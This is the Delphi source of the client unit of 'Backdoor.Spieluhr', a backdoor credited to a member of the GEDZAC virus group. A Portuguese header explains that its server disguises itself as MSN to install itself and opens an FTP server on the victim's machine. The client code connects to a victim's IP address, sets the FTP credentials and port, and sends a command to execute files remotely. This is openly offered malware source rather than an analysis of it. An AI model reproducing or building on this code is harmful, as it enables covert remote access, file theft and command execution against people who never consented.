| ||||||||||||||||
Backdoor.Spieluhr
by Hutley
See also the project folder unit Unit1; { Backdoor.Spieluhr Este backdoor foi totalmente feito por Hutley/GEDZAC. Projeto terminado as 12:03 - 24/Dez/2005 - A idéia foi criar um backdoor que permitisse o acesso aos arquivos do usuário infectado. Isso pode ser feito por meio de um servidor FTP contido no programa serrvidor. Que se disfarça de MSN para poder se auto instalar na máquina. - Dúvida, Bugs ou Sugestões: www.Hutley.cjb.net } interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Buttons, StdCtrls, ComCtrls, ShellAPI, ScktComp; type TForm1 = class(TForm) btnClose: TSpeedButton; GroupBox1: TGroupBox; Label1: TLabel; edtFTPUsername: TEdit; Label2: TLabel; edtFTPPassword: TEdit; Label3: TLabel; edtFTPPort: TEdit; GroupBox2: TGroupBox; Label4: TLabel; edtFile: TEdit; btnApply: TSpeedButton; StatusBar1: TStatusBar; GroupBox3: TGroupBox; edtIP: TEdit; Label5: TLabel; Label6: TLabel; edtPort: TEdit; btnConnect: TSpeedButton; btnExecute: TSpeedButton; lblLink: TLabel; clSocket: TClientSocket; btnAbout: TSpeedButton; procedure btnCloseClick(Sender: TObject); procedure lblLinkMouseEnter(Sender: TObject); procedure lblLinkMouseLeave(Sender: TObject); procedure lblLinkClick(Sender: TObject); procedure btnConnectClick(Sender: TObject); procedure btnApplyClick(Sender: TObject); procedure clSocketConnecting(Sender: TObject; Socket: TCustomWinSocket); procedure clSocketConnect(Sender: TObject; Socket: TCustomWinSocket); procedure clSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket); procedure clSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure btnExecuteClick(Sender: TObject); procedure btnAboutClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; const info: string = 'Win32.Backdoor.Spieluhr.Client'; autor: string = 'Hutley / GEDZAC'; implementation {$R *.dfm} procedure TForm1.btnCloseClick(Sender: TObject); begin close; end; procedure TForm1.lblLinkMouseEnter(Sender: TObject); begin lblLink.Font.Style := [fsUnderline]; end; procedure TForm1.lblLinkMouseLeave(Sender: TObject); begin lblLink.Font.Style := []; end; procedure TForm1.lblLinkClick(Sender: TObject); begin ShellExecute(GetDesktopWindow, 'open', 'http://Hutley.cjb.net', nil, nil, 0); end; procedure TForm1.btnConnectClick(Sender: TObject); begin clSocket.Address := edtip.Text; clSocket.Port := StrToInt(edtPort.text); clSocket.Open; end; procedure TForm1.btnApplyClick(Sender: TObject); begin if clSocket.Active then begin clSocket.Socket.SendText('nlogi' + edtFTPUsername.Text); clSocket.Socket.SendText('nPass' + edtFTPPassword.Text); clSocket.Socket.SendText('nport' + edtFTPPort.Text); end else Application.MessageBox('NOT CONNECTED', 'Error!', mb_IconError + mb_Ok); end; procedure TForm1.clSocketConnecting(Sender: TObject; Socket: TCustomWinSocket); begin Statusbar1.Panels[0].Text := '*** Connecting. . .'; end; procedure TForm1.clSocketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Statusbar1.Panels[0].Text := '*** CONNECTED'; end; procedure TForm1.clSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin Statusbar1.Panels[0].Text := '*** Disconnected'; end; procedure TForm1.clSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin ErrorCode := 0; Statusbar1.Panels[0].Text := '*** Error'; end; procedure TForm1.btnExecuteClick(Sender: TObject); begin if edtFile.Text <> '' then if clSocket.Active then clSocket.Socket.SendText('exect' + edtFile.Text) else Application.MessageBox('NOT CONNECTED', 'Error!', mb_IconError + mb_Ok); end; procedure TForm1.btnAboutClick(Sender: TObject); begin Application.MessageBox('Uh!' + #13 + 'This backdoor was made by Hutley' + #13 + 'Member of GEDZAC Virii Group.' + #13#13 + 'If you want contact me in:' + #13 + 'hutleyvx@gmail.com' + #13#13 + 'Thats all folks!' + #13#13 + '! Brazil Rulez !', 'Backdoor.Spieluhr v1.0', mb_IconInformation + mb_ok); end; end. |